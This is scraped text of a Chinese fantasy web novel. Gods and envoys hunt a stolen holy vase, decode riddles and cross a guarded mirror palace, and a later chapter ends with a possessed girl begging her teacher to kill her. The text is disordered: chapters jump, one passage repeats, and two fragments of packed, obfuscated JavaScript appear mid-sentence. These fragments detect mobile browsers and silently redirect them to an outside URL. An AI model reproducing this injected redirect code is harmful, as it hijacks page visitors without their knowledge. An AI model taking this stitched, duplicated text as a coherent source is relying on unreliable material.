信徒即是如此,神明的赐福便是唯一生存下去的动力。 神殿的雅乐在广场上缓缓飘荡,与信徒们的狂热祈祷声交织在一起,形成一种诡异而又和谐的氛围。这种氛围仿佛具有魔力一般,让人不由自主地沉浸其中,无法自拔。 在这片狂热的海洋中,有一些人显得格外引人注目。他们手持长剑,身穿软甲,这些人是神明从侍,使节中武力值最高的存在。他们是神殿的守护者,他们的职责是保护神殿和信徒们的安全。然而,他们的存在并不能阻止那些疯狂的信徒们,反而更加刺激了他们的狂热情绪。 从侍拱卫之间,是圣子余弦。 远远地,他和吉尔伽美什目光相遇,点头,微笑,依然是往常的客套。 时间一长,有些信徒甚至开始互相争斗,争夺投掷金币的先后顺序。他们的脸扭 8. Chapter8 寻找净瓶 《世界》全本免费阅读 吉尔伽美什在墙沿上扑腾了半天才翻进小院,却是“啪”地一声从墙头摔倒一张小桌上。搭眼一看,不知道什么时候从瓦尔塔哈尔回来的阿加雷斯在院子里设了个小桌和躺椅,正靠在椅子上品茗休息。 还不等吉尔伽美什开口,阿加雷斯意味深长地说:“又闯祸了?” “倒也不能完全算是……不过为什么是‘又’啊!” 阿加雷斯故作轻松地将书翻了一页,说:“上次你惹了那个著名的五席祭司,被人家追着打了十里地,从神殿追到城外,最后不还是回了这里才解决的——那次你不也是从墙头摔进来的?” “呃啊……这种丢人的事情就不要再讲出来了啊!!” “好了,闯了什么祸,同吾讲讲吧。” 吉尔伽美什从小桌上爬下来,伸出手去摸阿加雷斯遍布冷汗的头。“看上去你真的很疲惫了,没关系吗?” “斯洛伐彼洛斯先生,你说,你们在神殿发生了什么?”祂翻了个白眼,不屑地打掉吉尔伽美什冰冷的小手。 总是这样,一旦身居高位就总想着要永远保持完美,所有的本色尽数抛弃,最后抛弃自我。 一直发呆端详二人的克拉斯托尔被突然点到,他本想着这二人是有些像,可又说不上到底哪里像,便愣在原地没有答话。 “怎么又傻了一个。” 他立刻回过神来,一五一十地讲给阿加雷斯听。 那白瓷茶杯被轻轻地放在小桌上,阿加雷斯眯眼看天空,天上依旧飘着许多的莹蓝色水滴,依旧是那样一丝不苟地散射着太阳的光芒——向四处散发水神的力量。 “老爷——神殿的人带着几个从侍来了。”管家进了院子,说完后也不急着离开,低头后在一旁等着阿加雷斯指示。 阿加雷斯转过身去掐吉尔伽美什的脸蛋,“在这带着别到处跑,就算是知秋——他不能奈你何。” “略。”吉尔伽美什吐吐舌头以表达对阿加雷斯捏他脸的不满。 收回手,祂又端起茶来,轻吹几口冷冷道:“让神殿那帮家伙进来吧。” 其实一共没来多少人,只有次席祭司知秋,次位从侍离宫,五位从侍凤阁三人而已。 知秋规规矩矩拜见过阿加雷斯后看见了无辜地大睁双眼跪坐在地的吉尔伽美什。 “刚刚在神殿被误认为是窃贼的是您……和这位,呃,小友???”他一脸的不可置信,又似乎觉得这个乖巧地跪坐在地上的这个不是吉尔伽美什。 知秋今日难得穿上一次祭司服。秦垭的祭司服向来是七国中最特殊的:他国往往都是素净至极的白绸或亚麻布料的长袍,而秦垭的祭司服却是内里一件白绸织金星纹长衫,外罩一件魏紫色金边广袖。 他还极擅搭配,早知今日场面盛大马虎不得,便又在长衫上束了一条五彩丝宫绦,又戴一玉环镶金长流苏禁步。 吉尔伽美什看他头发也梳得一丝不苟,虽是半披在肩,可束上去那部分仔细戴在那紫金九尾狐形冕内。 “嗯哼,是我。几年不见你长大不少啊……事先说清楚,我们可没偷神殿的净瓶。” 他薄唇上扬一个弧度,平日里略显凌厉的凤眸此时清澈无比,“自然……无论怎么想也不会是您。” 知秋苦笑,就算是祂又能如何呢?他难道还能审判神明吗? 那在一侧揣着手的梳高马尾青年道:“可是知秋大人您刚不还信誓旦旦地说这二人一定是窃贼吗,怎么见了他们态度就转了?”凤阁话一出口就被他的老师离宫批评道:“说话要注意分寸,不得无礼。” “哦,我错了嘛。” 风轻抚过阿加雷斯植在院中的那棵生命之树,带来瓦尔塔哈尔众神宴饮时所吟出的诗。 阿加雷斯一想到自己体力透支不能回殿里修整并与众神开宴取乐是因为吉尔伽美什这个混世魔王在终焉之地又给祂惹了乱子需要祂收拾烂摊子祂就来气,便打发众人走,好给祂留几分清净,“知秋,既然是场误会,那这误会也解了——吾此处就不久留三位了。” “先生……实不相瞒,我们这一趟下来并没找到净瓶,这的确是件麻烦事。能不能……请吉尔……鹿克斯先生和祂的这位小友帮我们去解决了这档子事?” 阿加雷斯剑眉微挑,“是吗。原来神殿的人已经废到要从吾这里借人帮忙办事了。” 一时之间,对面三个来抓嫌疑人的家伙分外尴尬。“啊……那倒也不是,”在一旁看戏许久的离宫开口道,“只是我们来前谋划着将整件事情交给凤阁这小子做,他近些年才做上从侍,想锻炼锻炼他。” 离宫本就生了一张好看的脸,平日说话轻声细语,温柔至极。一对眼尾微垂的圆杏仁眼无论怎么看都真诚可爱。 吉尔伽美什掌握着第十六权能,美。祂和美人有着莫名的共鸣,看了离宫就想要帮他,没人能拒绝美人的请求。 乖巧端正地跪坐在一旁的吉尔伽美什惊奇道:“这个束着马尾的少年就是凤阁吗?几年不见长大不少。” “是,先生。” “我现在心情还算不错,可以和你去。克拉斯托尔呢?” 克拉斯托尔想着这鹿克斯行为及其古怪,口头上说自己只是个痴心妄想的少年人,但不仅懂得整个大陆所有学者穷尽一生都无从知晓的知识,还与异国的政坛名人、富商巨贾关系匪浅,再加上他自相矛盾的各类解释和借口……此番跟了去说不定可以找到鹿克斯身份的真相,毕竟可疑的人值得关注。 他可不想和什么来路不明的人交往,克拉斯托尔心中想道。 “我没问题。”他说。 “事不宜迟,即刻出发!”吉尔伽美什手撑地,一骨碌爬起来,拍拍衣服上的灰,起身就想向外走。 生命之树上持续不断地落叶,又不止息地生出新芽。晶莹透明的叶片在满城的银杏红枫中格外扎眼:水蓝色的根部开始渐渐向叶尖化为赤红。 阿加雷斯道:“我和你们三个一起去。” “什么?”吉尔伽美什说。 “没什么,怕你完成不了丢人现眼而已。” · 帝京的神殿与神明下界暂住的神宫在城的西北郊,建在倚凤山的山上,上有瀑布飞泻而下。因其常年受充沛的元素力影响,漫山的银杏红枫从未凋谢。微风抚过,金红叶子纷纷而下,铺了满山满地,树上又迅速地生出红叶,源源不断,生生不息。 广场上都是些迷茫而又带着愤怒的民众,没人知道为什么节日突然暂停,迷惑不知所措的感觉将民众逼的将要发狂。 吉尔伽美什问:“好了,年轻人。到了你大展身手的时候了,第一步怎么做?” 凤阁略思索一会,便道:“东西虽然不知所踪,但那是一个有着阿加雷斯的纯净水元素力量的神物!如果用元素驱动就可以使其显出形体!” “想法不错,”吉尔伽美什夸他,又看了一眼阿加雷斯。 祂们两个的教育理念天差地别,吉尔伽美什觉得别管孩子怎么样,好歹人家有点想法值得鼓励;阿加雷斯则是看见谁都想阴阳两句。 祂立刻接过话来,“你元素反应论及格了吗。” 凤阁当即到:“确实是及格了……哦我明白了!我的蝶泪是土元素属性,和水元素会有减速反应——土元素反而会将水元素遮盖掉。多谢先生指点。”先生果然一如既往的严厉,他腹诽着。 他细思量,才道:“那只要用同种元素不就可以了吗!” “……” 吉尔伽美什早猜到会有这么一刻,明明拿一个共鸣器就可以做到的事非要弄这么麻烦——而且还是靠别人的力量。“这孩子……” “凤鸣先生,您可以帮帮忙吗?” 骨节分明的大手抬至空中,指尖处迸发出水元素链条,在整个广场上绕了一圈后又回到了他手中,阿加雷斯脸黑得像锅底,在想离宫怎么就培养出这么一个学生。 事实证明偷走净瓶的人已经离开,并且比吉尔伽美什和克拉斯托尔二人离开的时刻还要早。 9. Chapter9 阳谋家家酒 《世界》全本免费阅读 瑶光,秦垭执政七人席汋组末席,年芳十二,小小年纪独当一面,前途一片大好。 但今日无意中放跑了扶桑使节的船,也不知道玉衡会不会责怪她。 天气越是阳光明媚,瑶光的心情就越是沉重而压抑。她独自一人站在朱雀大街的尽头,望着远方渐行渐渐远的扶桑使节船只,心中充满了不安和懊悔。这样严重的的失误,如同巨石压在胸口,让她几乎喘不过气来。 瑶光把那个小盒子拿给众人看,“那些使节上船离去前交给我这个,说一定会有人来找。” 阿加雷斯拿过盒子,打开一看,盒子中一枚钥匙、一张烫金卡片,上面只有几句话。 ——凤鸣先生,秦垭的钥匙能否打开扶桑的锁,瓦尔塔哈尔的明珠你可带在身旁? ——瓦尔塔哈尔的明珠,剜心之时的号角,奏出了哪几个音? ——你们所追寻的秘密在南方。 几人面面相觑,只有识海中的欧米伽和捧着盒子的阿加雷斯大惊失色。 扶桑的人挑衅至此?!阿加雷斯心中暗想,这段秘密祂一直竭力隐瞒,生怕有一天公之于众。祂甚至和暗神还约定过,要一起保守这个秘密,可谁能想到才过去了千余年这格剌西亚拉波斯就变卦了。 婆罗斯被灭国的历史明明已经由瓦尔塔哈尔众神抹去,那一段故事并未完整地流传下来。剜心的号角——格剌西亚拉波斯都告诉了自己的使节些什么!! “真有乐子,”吉尔伽美什靠在阿加雷斯身上凑近了读那张卡片,“明珠怎么可能有心——被剜。瓦尔塔哈尔有这样的珠子吗。” 阿加雷斯气血上涌两眼一黑,踉跄一步,竭力装作淡定。 欧米伽叹了口气,摇摇头,继续打坐冥想去了。 “怎么办,竟然还有先生不知道的事。凤先生——”凤阁愁眉苦脸,感觉这个净瓶永远都找不回了。而阿加雷斯打断了他,和瑶光告辞后在朱雀大街上向祂的宅邸走。 “这个故事——吾知道。”阿加雷斯咬牙切齿,格剌西亚拉波斯开始威胁祂了。 何止是知道,祂再清楚不过了——这是祂的梦魇,千万年来都无法忘却的回忆。 克拉斯托尔无比好奇,问:“先生可以讲来听听吗?” “记不清了,是很久以前一个朋友讲给吾的故事,只记得一小段了。故事留下的悬念是莫大的遗憾,算了。” 吉尔伽美什随手甩甩那卡片,它在空中发出悦耳的声响,“能回忆起来那些音吗?” “宫、商、宫、角、羽、商。” “……” 在这沉默而压抑的气氛中,他们仿佛能够听到彼此的心跳声和呼吸声。众人的思绪在混乱中交织在一起,形成了一个无法解开的结。 一筹莫展之际,克拉斯托尔轻声说:“氐人通音律,我们将音写作数字,那么——” “宫、商、宫、角、羽、商就是121362,乍一听没什么,但是来自归墟的深海银行保险柜的固定序号列就是12136。” 惊人的发现,整个过程中毫不起眼沉默寡言的克拉斯托尔凭借着物种优势成功解开了谜题,刹那间,他的形象变得光辉伟岸。“事不宜迟,”凤鸣说,“走吧。” 克拉斯托尔起身便跟着出去,只听背后阿加雷斯的声音冷得渗人。“风元素蝶泪。阿尔忒弥斯果然眼光不差。”这不掺杂任何语气和感情的话不知是批评他还是表扬他。 · “查询一个保险柜账户,号码是121362。”凤阁说。 前台小姐不为所动。 “公务需要麻烦配合。”阿加雷斯说。 前台小姐依然风雨不动安如山。 克拉斯托尔拿出自己项链上的圆环装饰,递给柜台小姐姐看。柜台心下一愣,抬头忙问:“阁下全名。” “克拉斯托尔·圣菲特特·蒙哥提·奈菲舍莉·桑菲尔切·德·安东施尔尼特·斯洛伐彼洛斯。” 真是个长名字,吉尔伽美什腹诽,而前台小姐谨慎地问了一句:“斯洛伐彼洛斯的少主……?您来银行做什么?” 克拉斯托尔:“如你所见,我们四个来查询一个保险柜账户,调出保险柜中所有物品。”克拉斯托尔道。 “可是……” “没有可是,现在去调!!” “是,少主!!”那前台小姐连忙跑到后面去喊人了。三人同时体会到家室的重要性,内心赞叹不停。克拉斯托尔干笑道:“没办法。这些氐人精明坏了,专门看人下菜碟。不用一些特殊手段他们才不会办事,更何况是几个陌生人来调别人保险柜里的东西。” “深海银行的号码是怎么排序的?”吉尔伽美什突然问。 “存款多少和……”克拉斯托尔脸色大变,“关系亲疏。” 在场众人无不倒吸一口冷气。凤阁他身为秦垭使节最为清楚,使节官方运营钱款基本是存在本国钱庄和神殿两处,运营调动也方便。纵使财力雄厚如他们,也是没有闲钱存到其他钱庄和银行的。 “扶桑使节和归墟有来往!” 归墟之海被上下婆罗斯两块陆地所包围,是婆罗斯的内海。婆罗斯的使节将钱款存到归墟银行无可非议,但和归墟八竿子打不着,不能说是关系匪浅只能说是毫无关系的扶桑使节在深海银行排的保险箱是2号,无论怎么看都隐隐有一丝危险之感。 扶桑的使节将手伸到了婆罗斯的银行,吉尔伽美什竟浑然不知,祂的使节汇报时也从未提起。一想到这,祂就一阵头疼。 吉尔伽美什开口问他:“你之前知道吗?”还不等克拉斯托尔接话,祂就自顾自道:“看样子是浑然不觉的。” 祂盯着克拉斯托尔手里的那张烫金卡片,山羊一样的金色横瞳里泛起了难以言说的情绪,身旁也似乎有气流环绕。 克拉斯托尔扭头发现几个人都在用奇怪的眼神盯着他,“你们看我做什么!家里管事的是我弟!” “哇哦——”几个人齐声道,毫无感情。 克拉斯托:“什么啊,不要用看纨绔的眼神看我啊!!!我不是完全不在乎家族产业的!!” 深海银行已经将121362号保险箱里全部的东西都拿了来。吉尔伽美什拿过最上方的两张黑底烫金的卡片。阿加雷斯看卡片下的信纸有些熟悉,自己有些失态地一把夺过,用力捏在手中,细看能发现指尖还打着颤。 “和之前那张一模一样,上面又写了些什么谜语?”吉尔伽美什翻到正面看那几句没来由的话。 凤阁自从在广场上被阿加雷斯阴阳之后就不怎么说话了,老老实实地跟在几位前辈身边看他们解谜。 第一张上依旧写着几句没来由的话: ——伴着第一抹微光诞生的凤,为何要掐灭血色之花? ——你们所找,在南方,在地下,和巨龙长眠着,等待它的主人将其唤醒。 真是不能再莫名其妙了,扶桑人都是谜语人吗?吉尔伽美什默默在心中吐槽,随后又看起第二张卡片来。 ——吉尔伽美什,光芒能否吞灭黑暗,复苏的那一刻,你将做出怎样的抉择? 克拉斯托尔凑过来看,心中奇怪。这卡片明显是写给他们四个看的,这称呼上也是及其富有指向性。被提到的凤鸣和吉尔伽美什中,凤鸣显然是他们四个中的一个,而吉尔伽美什——是他们中的哪一个? 首先排除自己,其次排除凤阁。鹿克斯… 10. Chapter10 镜宫 《世界》全本免费阅读 镜宫内部并不很明亮,脚畔倒悬的长明灯照的室内一片昏黄。 初次进来,克拉斯托尔只觉上下颠倒,天翻地覆,一时间头晕眼花频频作呕。相比之下,略有不适的凤阁和完全无感的另外两人更加奇怪。 “不是……你们怎么看起来一点事都没有……怎么只有我一个人反应这么明显……”克拉斯托尔脸色惨白,捂着嘴竭力不让自己吐出来。 阿加雷斯这才反应过来,他并不仅仅是因上下颠倒而不适,而是因为蕤宾散出的威压过于强悍。祂手一挥,化出两块龙鳞让凤阁和克拉斯托尔佩戴上,等龙鳞共鸣他们身体舒适些才准备继续出发。 吉尔伽美什看他这么难受,忍不住笑话他:“有蝶泪还不会使用元素力为自己挡一挡,你还不如凤阁这个小辈。” 克拉斯托尔被祂说的有点不好意思,可转念一想就觉得有哪里不对,这个鹿克斯明明一点元素力都没有,完全是普通人一个,他和凤阁都承受不了蕤宾的威压,怎么他就一点事都没有。 “鹿克斯”,他拍拍吉尔伽美什的肩,“还得是你天赋异禀。” 吉尔伽美什:“……” 意识到自己说错话的吉尔伽美什立刻装出一副痛苦的样子,甚至还逼出了一口鲜血。 吉尔伽美什向阿加雷斯伸出手,道:“好哥哥……救我……” 你不觉得自己演的太假了吗?!!! 阿加雷斯白了祂一眼,结印打在祂眉间。 阿加雷斯:“满意了吧?” 祂食指用力抵在吉尔伽美什打了法印的眉心,像极了家长面对到处捣乱的皮孩子一样。吉尔伽美什向祂吐舌头,飞也似的跑远了。 镜宫为了锁住蕤宾,设下了一层层的禁制。这第一重就是舞剑者阵法,十四个巡逻的舞剑者是按照阵法出现并活动的机械幻影,看上去没什么,可一旦被抓住…… 过去女王每年进入镜宫时都会献上几个人牲关闭阵法,据说这曾是阿加雷斯亲自设下,防止蕤宾出逃,也禁止生人进入,无人可破无人可解。 “那边阵外有七条回廊——通向哪?”克拉斯托尔问。 “王庭内有七间偏殿,最初是秦垭开国七人臣的寝居,后来每年宫廷会议召开时作为执政七人席的寝殿。那里和地上是相对的。”凤阁不假思索地解释,他对整个秦垭国的历史了如指掌。 克拉斯托尔听他说,心中已经有了一个设想,本来就不怎么好的脸色更加惨白,只好开口道:“那……我们先闯过这个阵法吧。其他的……之后再说。” “这些舞剑者行动极有规律,看上去似乎是全方位无死角。但我看,是程序就一定有漏洞,钻个空子过去吧,你看呢?”吉尔伽美什对阿加雷斯说。 阿加雷斯知道这镜宫中藏的秘密,祂也不希望吉尔伽美什看穿这些秘密,索性感觉不提供任何帮助。 “不知道。” “好吧。” 克拉斯托尔脸色一沉,从外表上看这个鹿克斯虽然年纪比凤阁还小,行事作风也透露着满满的孩子气,可是他在对待明显是长辈身份的凤鸣时却表现得更像一个长辈。 凤阁捏了个诀扔到空中,瞬息中时间减缓了流逝,他盘腿坐在阵边等待舞剑者阵法的漏洞。 诡谲迤逦的身姿翩翩起舞,每一个动作中都带着不可捉摸的剑气。舞剑者一套动作下来行云流水,足下浅蓝色的阵法发出微光。可下一瞬,阵法上的水元素突然消失,舞剑者们身形一滞,竟然停了下来。 亏的有凤阁的诀在,不然这么微小的变化没人能发现。 此时的阵法流光溢彩,无处不是光元素。 吉尔伽美什立刻感受到了共鸣,“这是……我不记得我曾来过。”这句话放的很轻,除了阿加雷斯谁也没能听到。祂看向阿加雷斯,阿加雷斯却只是抿嘴。借着两个小辈穿过阵法之时,祂将后腰上的元素印记显了出来。 “你之前打上的,一直没有消散。是吾不小心带进来的。”祂说。 吉尔伽美什对这玩意印象极深,祂完全想不到自己曾经对阿加雷斯干过这样的事情,脸瞬间通红,“我……不是我做的……我试试能不能给你抹掉……” 看祂尴尬到无地自容的样子,阿加雷斯挥挥手把印记隐去。 阿加雷斯:“不许乱摸,再摸吾给你也种一个。” 吉尔伽美什连连后退,“这……算了算了。” 吉尔伽美什:“阵法马上就要变回去了,咱们快走吧。” 祂怔怔地看了吉尔伽美什一会,似乎在探查着什么,深处似乎带了些恐惧。 “哦。”祂说,那奇怪的感觉转瞬即逝,阿加雷斯扯着祂的腰带把祂拎了起来,向正在变化的阵法走去。 “阵法在变化啊——小心——” 对面的克拉斯托尔来不及阻止,阿加雷斯就一脚踩上了闪着水蓝色微光的阵纹上。整张阵图震了震,光芒迅速黯淡下去。十四个舞剑者像失去了动力一样,东倒西歪落了满地。 “嘿嘿,不用担心啦,我们已经到了。”吉尔伽美什低头向目瞪口呆的克拉斯托尔打招呼。 克拉斯托尔:“不是……这个,怎么做到的?” “作为你们此行的监护人,有点武功傍身很正常……哦,你们的小伙伴,接住祂。”阿加雷斯将吉尔伽美什丢给他们两个,回头看向失了动力倒在地上的舞剑者,轻轻一个响指,“可以起来了。” 阵法又重新亮起了光,克拉斯托尔继续目瞪口呆。 凤阁打坐调息半晌,将逸散的土元素全部收回蝶泪中,“先生,我已经调息好了。” 祂点点头,却不动身,“七间偏殿,挑一间走。” “那我们来抽花签吧。”凤阁说。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12821932|135335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上一个身着银甲的身影吸引了她的目光。 “老……”她喉咙干哑,开口失声。红鸾就这么赤着脚站在地上,任由西北的风吹刮着她的脸,沿着袖口钻进她身子里去。 最后还是荧惑守心发现了失神的她。 “鞋不穿,外衣也不穿,这么吹风可是要着凉的,你让我怎么不担心你。快回去吧,我刚送了一盏安神汤,喝完睡一会,免得明天精力不足。” 荧惑守心还是这么婆婆妈妈的,红鸾口中吐出一口浊气,转身就要回营帐,只听得荧惑守心问她:“方才我见你口中不断喊着‘老师’,可是我最近新婚冷落你了?老师不会抛弃你的,你且安心。” 红鸾扯出一个难看的微笑,道:“我无事,多谢老师关心。” 战场上容不下儿女情长,任谁都只能拼死作战以求生存。 红鸾因着夜里的一场梦,闹得神情恍惚,心跳加速,几次险些命丧敌人刀下。 锦簇骑在马上,一边带兵奋力搏斗,一边指挥着战场。她身为国主,本不用这样浴血奋战的,但为了鼓舞士气,她便和士兵们并肩作战。伪神阿芙洛狄忒发现了她,一枚暗器直冲她要害。 40. Chapter40 少阳山 吉尔伽美什与欧米伽在一处幽静的地方稍作休整,便匆匆向少阳山进发。他们的脸上都带着几分局促和担忧,仿佛前方的道路充满了未知和危险。 “封印怎么会松动?”欧米伽忍不住问道,语气中透着一丝不满和质疑,“你们神明就这点能力吗?” 吉尔伽美什沉默了片刻,才缓缓开口道:“我也不知道,她入魔后的确变得很强大,但也不至于这么快就破开封印……若是有人在背后搞鬼……” 祂没有继续说下去,但欧米伽已经明白了祂的意思。 他心中也有了些数,“此事结束,我们就立即去扶桑问个明白好了。” “可我还是不太敢见祂。” · 少阳山,秦垭第一大仙山,是王气所盘踞之地。这里世代有鸾族居住,他们庇佑秦垭王室,也受王气恩泽。从某种意义上来讲,这里也算是鸾族的私人领地了,虽说有着利益交换,但王气盘踞之地由仙家居住,也难怪总有帝王不信任仙君而欲独揽大权。 不过红鸾选这里可不是为了恶心锦簇,而是实实在在地信任她,认为本朝强盛,少阳山也王气充沛,以此压制她体内的两个灵魂真是再好不过。且此地仙家众多,根本不用重兵把守,她想逃出来为祸人间也是艰难。 “意识都荡然无存了还想着保护秦垭,除她以外也没人能做到这份上了。”吉尔伽美什一副小童打扮,窈窕可爱。 “道理我都懂,但你为什么要骑我?”欧米伽无语,这可爱小童正骑坐在他白鹿原身的背上。 祂说,并翻了个身躺好,“少阳山鸾族向来倨傲,我这是入乡随俗平易近人,不然人家不肯让我进去啊。” 一神一鹿站在悬崖上,远眺对面的少阳山。 “只是看着就能感受到杀气了。”吉尔伽美什看着那山,山峦郁郁葱葱,却毫无生机;明明雾霭缠绵,却死气沉沉,只是让人看着就打怵。 不过吉尔伽美什怎么会打怵,祂正趴在欧米伽的背上,环着他的脖子,任凭他从山崖上一跃而下,在半空中向着少阳山飞奔。 少阳山十分幽静,只有一条小路通向少阳山行宫。甫一落地就看到一个老头坐在石头上,挥着钓竿钓鱼。仔细一看,那钓竿不仅没有鱼线,而且石头下根本就没有水,他只是旱地钓鱼罢了。 “几百年了,你怎么还在这里钓鱼啊?”吉尔伽美什从鹿背上跳下来,问这个老人。 老人道:“杀孽太重,就在这里等死啊。” “吕公慢些钓吧,总能等到的。” 祂二人向行宫去,远远听见吕公的长叹:“审判何时到来啊……” 欧米伽很奇怪,说是鸾族倨傲,不肯轻易放人进入圣地,可自己就这么明目张胆地进去了。 “不是不让进吗?”他问。 “嘿嘿,我懒得走嘛,”吉尔伽美什嬉皮笑脸,“别打别打,其实是少阳山周围有死阵,只能从天上下去,单纯走路会困死在这。” 欧米伽知道祂又在扯淡,不去理他,沿着小路走了。 一路上无人拦路,所有鸾族都退避三舍。 “你之前在这干了什么?这么多仙君都怕你?” “之前和阿加雷斯鏖战过几万年。” “那看来你们的破坏力有点强啊。” “那倒也不是,”祂反驳道,“我就炸出了一个坑,祂给填成湖了。” “那个湖——”欧米伽隐隐觉得不妙。 “云梦泽。”吉尔伽美什说。 云梦泽,横跨秦垭南疆到北疆的巨大湖泊,几乎占了秦垭面积的四分之一。它的存在,看上去是大自然的杰作,却是神明无足轻重打闹的痕迹。 欧米伽沉默了一会儿,“那你们当时一定打得很激烈吧。” 吉尔伽美什也陷入了回忆,“是啊,那场战斗持续了很久,”祂缓缓道,“以至于后来塔拉尼斯都被我们吸引过来了。” 欧米伽无语,不是很想说话。 吉尔伽美什思索片刻道:“塔拉尼斯,祂你是知道的,出了国境步履成山。” “怪不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12872966|135335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少阳山在这一带是最矮的山。”欧米伽道。 “后来我们把祂拉进来一起打了,嗯,大概是你降世的三万年前。” “我说怎么我一点印象都没有。” 他们一路前行,无人拦阻,所有的鸾族都像是收到了某种信号,纷纷退避三舍,仿佛生怕与他们发生任何接触。 “你之前在这干了什么?”欧米伽忍不住问道,“为什么所有的仙君都这么怕你?” 吉尔伽美什轻轻一笑,“我只是和阿加雷斯打了一场架而已。” “那看起来你们的破坏力挺强的。”欧米伽调侃道。 吉尔伽美什摇了摇头,“其实并不是我们的破坏力有多强,”他解释道,“只是我炸出了一个坑,阿加雷斯把它填成了湖而已。” “那个湖——”欧米伽心中一紧,“不会就是云梦泽吧?” 吉尔伽美什点了点头,“没错,就是云梦泽。” · 祂们一路向中心走去,沿途的景色却愈发荒凉。原本繁花似锦的森林如今已变得枯枝败叶,仿佛被岁月遗忘。 “这里不该是王气最为浓郁的地方吗?怎么会这么荒凉?”欧米伽不禁皱起了眉头,他环顾四周,只见一片死寂,连一声鸟鸣都听不见。 吉尔伽美什沉思了片刻,缓缓开口道:“半神破坏力有多强,你是知道的。”祂的声音中带着一丝沉重,仿佛在回忆着什么。 “是啊,”欧米伽附和道,“但这里的荒凉程度,似乎超出了我们的想象。” 吉尔伽美什微微一笑,开始在半空中结着手印。祂的手指在空气中轻盈地舞动,仿佛在弹奏一首无声的乐章。随着祂的手势越来越熟练,一座巨大的宫殿竟然在荒地上缓缓显现。 “这是……”欧米伽瞪大了眼睛,看着眼前突然出现的宫殿,心中充满了震撼。 “这是行宫,”吉尔伽美什解释道,“红鸾破坏力蛮强的嘛,曾经的辉煌如今已化为废墟,只剩下锦簇的气息还在这里徘徊,只给她托梦也不是没有原因的。” 41. 等待进入网审 宫殿的正中心,坐着一个美丽精致的女孩——红鸾。时过境迁,她已经长大了许多,从前稚嫩的脸庞如今多了几分成熟。 她在中央打坐,双眸微阖,看上去不像是入魔后失去神智发狂的状态,反倒格外安静祥和。 “说好的入魔呢?就这?”欧米伽问,入魔的红鸾格外安静,和他当时伤人的癫狂状态完全一个天上一个地下,他还颇有些不屑。 “耳朵捂好。”吉尔伽美什提醒他。 紧接着,祂又在半空比划了几个手势,顿时,原本空旷的殿中多了上千个虚影,个个都凄厉地惨叫着,扑向殿四周的光幕阵法,将光幕撞出一道又一道裂纹。仔细分辨,上千个虚影都是红鸾自己:有的哭着,有的笑着,有的表情不可名状。这上千个虚影一圈圈地绕着入定的身体,看上去分外渗人。 欧米伽直接被震住了,捂着耳朵说不出话。等祂结印将这骇人的景象收起时,他缓缓说:“我收回刚刚那句话。” 吉尔伽美什拍拍透明的光幕,道:“我先进去把她唤醒,至少是能够和人交流的状态,你一会快点传送回帝京,把锦簇他们几个叫来。” 欧米伽不解,他们早就有过委托,何必再叫人来呢? 祂看穿了眷属的困惑,转身背靠光幕坐下,又拍拍地面示意他一起。 “我明白你的想法,我想你作为半神也能感受到,她真的太痛苦了。这毕竟是秦垭的使节,我没办法直接处理掉不是吗?我一个外国的神明怎么能干涉他国内政呢?” 欧米伽点点头,施了术回帝京去了。 吉尔伽美什的黄金拖鞋轻踩着地面,祂一步一顿缓缓迈进光幕。 阵法内部有着成千上万的残念,这些虚影可不会给神明让路。它们如同剑般锋利,而祂又不曾为自己罩上屏障,于是身上就多出了数不胜数的伤口,深可见骨,涌出来的血化为洁白的花。 阵法内部盛开着花海。 祂轻手轻脚走到了正中央,红鸾还入定着,没有半点反应。 “受苦了。”祂流露出悲悯的神明一面,轻轻将红鸾拥在怀中。可怜的女孩睁开双眼,青云翻滚,终是红浪占了上风。 “殿下,我……”她张口,话不成句。 “我都知道。” · 欧米伽速度很快,不出片刻,凤阁、锦簇、荧惑守心三人就都到了。 “阿加雷斯呢?”祂问。 “祂在扬州被人刺杀了,据说肉身尽毁、核心受损。现在已经回忘川养伤了,据说克拉斯托尔也被牵连了,等你去扬州捞他呢。” “啧,他们两个好端端去扬州干什么,我会去的。”祂说,将红鸾扶起来,走到几人的面前。 “老师……锦簇姐……师兄……”红鸾口中喃喃着,盈盈下拜,给几人磕了个头。 荧惑守心别过头去,沉默半晌才道:“今日是我主持晨会,抱歉。”他今日穿着分外华丽,靛蓝广袖深衣外披银狐皮大氅,腰间各色宫绦汇成一股,又配上繁复的组玉佩,头上也戴着玉冠,耳上着了玉珰。 红鸾并不在意,笑着抚摸上光幕,“许久不见老师,果然还是一如既往地光彩逼人。” 荧惑守心泣不成声。 在场众人都知道接下来的发展,这是个死局,是一开始就定好的结果。 凤阁背过身去,“求你们了,我不想看……” 锦簇也垂下头,默不作声。 红鸾笑了,从怀中摸出那柄匕首,抛出光幕,落在几人脚下。 “拜托了。” 没有人蹲下身子去捡那柄闪着光的神兵,红鸾膝行几步,在红鸾面前重重磕了几个响头,“锦簇姐,拜托你了……” 锦簇却直接转过身去,双肩微微颤抖。 “求你了,老师,只有你可以了。” 场面一度陷入僵局,荧惑守心迟迟不愿捡起那柄神兵。 “给我一个痛快吧,求你了,老师。” “我太痛苦了,老师。” 行宫中留存着一丝不易察觉的叹息。 · 老师抱着自己亲爱的学生,感受着最后的一丝温度,地砖上开满了花,粘稠又凄凉。锦簇的泪早已噙满眼眶,凤阁咬住嘴唇不想出声。 行宫中的一切都静谧的可怕,红鸾声音断断续续。 “好久没有这样躺在你怀里了,老师。” 